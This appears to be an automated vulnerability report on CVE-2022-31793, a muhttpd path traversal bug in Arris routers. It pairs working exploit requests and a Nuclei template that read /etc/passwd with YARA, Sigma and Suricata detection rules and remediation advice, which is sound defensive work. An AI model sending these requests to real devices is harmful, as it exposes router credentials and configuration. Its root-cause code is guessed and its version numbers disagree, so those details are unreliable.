CVE-2022-31793

Executive Summary

CVE-2022-31793 is a high-severity, unauthenticated local file inclusion (LFI) vulnerability in muhttpd versions prior to 1.1.7. The flaw resides in the do_request function in request.c, where a single character prepended to a file path in the URL is incorrectly skipped during file serving. This allows a remote attacker to read arbitrary files from the filesystem, including sensitive configuration files, credentials, and system data. The vulnerability is known to affect Arris NVG443, NVG599, NVG589, NVG510, BGW210, and BGW320 devices, which embed the vulnerable muhttpd server. Public proof-of-concept (PoC) code and a Nuclei template are available, making exploitation straightforward. No patch is available from Arris for many affected devices, leaving them exposed.

Supply Chain & Package Security

This vulnerability is not a package ecosystem issue (NPM, PyPI, Go, Ruby). It is a standalone web server (muhttpd) embedded in hardware devices. The supply chain risk is that Arris and other vendors integrate this vulnerable component without proper security review or update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation, lack of authentication, and the potential to read sensitive files such as /etc/passwd, router configuration, or VPN keys.

Deep Dive & Mechanics

The vulnerability is a classic path traversal flaw in the muhttpd web server. The core issue is in the do_request function within request.c. When processing a URL, the server is designed to skip the first character of the path (e.g., the leading /). However, due to a logic error, it skips the first character regardless of its value. By crafting a URL like a/etc/passwd, the server treats the a as the character to skip and then serves the file at /etc/passwd.

Root Cause: In request.c, the code likely does something like:

char *path = request->url + 1; // skip first char

If the URL is /etc/passwd, this correctly yields etc/passwd. But if the URL is a/etc/passwd, it yields /etc/passwd (since the a is skipped, and the remaining string starts with /). The server then resolves this path relative to the document root, but because the path starts with /, it can escape the document root and access any file on the filesystem.

Affected Devices:

• Arris NVG443, NVG599, NVG589, NVG510
• Arris-derived BGW210, BGW320

These devices use muhttpd as their embedded web server for management interfaces.

Vulnerable vs. Patched Code

Vulnerable Code (muhttpd < 1.1.7):

// request.c - do_request function (simplified)
char *path = request->url + 1; // Always skip first character
// ... path is then used to open file

Patched Code (muhttpd >= 1.1.7):

// request.c - do_request function (simplified)
char *path = request->url;
if (*path == '/') path++; // Only skip if it's a slash
// ... path is then used to open file

The fix ensures that only a leading / is skipped, not any arbitrary character.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Arris device or a local instance of muhttpd < 1.1.7.
• Network access to the target (port 80 or 8080 typically).

Exploitation Steps:

1. Identify the target: Use Shodan or a simple port scan to find devices running muhttpd.
2. Craft the exploit URL: The payload is a single character (e.g., a) followed by the desired file path.
   • Example: http://target:8080/a/etc/passwd
3. Send the request: Use curl, wget, or a browser.

   curl http://192.168.1.1:8080/a/etc/passwd
   

4. Read the response: The server will return the contents of /etc/passwd.

Nuclei Template (Provided):

id: CVE-2022-31793

info:
  name: muhttpd <=1.1.5 - Local Inclusion
  author: scent2d
  severity: high
  description: |
    muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: Update the application to version 1.10
  reference:
    - https://derekabdine.com/blog/2022-arris-advisory.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31793
    - https://derekabdine.com/blog/2022-arris-advisory
    - https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/
    - http://inglorion.net/software/muhttpd/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31793
    cwe-id: CWE-22
    epss-score: 0.93819
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:inglorion:muhttpd:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: inglorion
    product: muhttpd
  tags: network,cve,cve2022,muhttpd,lfi,unauth,inglorion,tcp,vkev,vuln
tcp:
  - host:
      - "{{Hostname}}"
    inputs:
      - data: "47455420612F6574632F706173737764"
        type: hex

      - data: "\n\n"
    read-size: 128
    matchers:
      - type: word
        part: body
        encoding: hex
        words:
          - "726f6f743a"

Usage: Run the template with Nuclei:

nuclei -t CVE-2022-31793.yaml -u http://target:8080

Blue Team

Detection:

• Monitor HTTP requests for patterns like /[a-zA-Z]/etc/ or /[a-zA-Z]/proc/.
• Look for requests with a single character before a path starting with /.
• Example suspicious request: GET /a/etc/passwd HTTP/1.1

Honeypot:

• Deploy a fake muhttpd service that logs all requests.
• Alert on any request that does not start with a standard path (e.g., /index.html).

Lab Setup:

1. Download muhttpd 1.1.5 source from http://inglorion.net/software/muhttpd/.
2. Compile and run:

   ./configure && make
   ./muhttpd -p 8080 -d /var/www/html
   

3. Test the exploit:

   curl http://localhost:8080/a/etc/passwd
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests with a single character followed by a path starting with / (e.g., GET /a/etc/passwd).
  • Outbound connections from the device to unknown IPs after exploitation (data exfiltration).
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, /proc/self/environ, or router configuration files.
• Log IOCs:
  • Web server logs showing requests like GET /a/etc/passwd with a 200 response.
  • Repeated attempts to read /etc/passwd or /proc/self/environ.

Detection Engineering

YARA Rule

rule CVE_2022_31793_muhttpd_LFI {
    meta:
        description = "Detects muhttpd LFI exploit attempts in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-31793"
    strings:
        $pattern1 = /GET \/[a-zA-Z]\/etc\// nocase
        $pattern2 = /GET \/[a-zA-Z]\/proc\// nocase
        $pattern3 = /GET \/[a-zA-Z]\/var\// nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-31793 muhttpd LFI Attempt
id: 8c3e4f5a-6b7c-8d9e-0f1a-2b3c4d5e6f7a
status: experimental
description: Detects HTTP requests exploiting muhttpd path traversal (CVE-2022-31793)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|re: '^/[a-zA-Z]/etc/'
    condition: selection
falsepositives:
    - Legitimate use of single-character directories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-31793 muhttpd LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/a/etc/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update muhttpd: If you control the muhttpd installation, upgrade to version 1.1.7 or later.
2. Patch Arris devices: Check with Arris for firmware updates. If unavailable, consider replacing the device or isolating it from untrusted networks.
3. Network segmentation: Place affected devices behind a firewall and restrict access to trusted IPs only.
4. Web application firewall (WAF): Deploy rules to block requests matching the pattern /[a-zA-Z]/etc/ or /[a-zA-Z]/proc/.

Long-term Mitigation:

• Implement a vulnerability management program for embedded devices.
• Use network monitoring to detect exploitation attempts.
• Consider open-source alternatives with active security support.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.

{/* [Security Hash: FE2787D9B93E49B677F5DA56] */}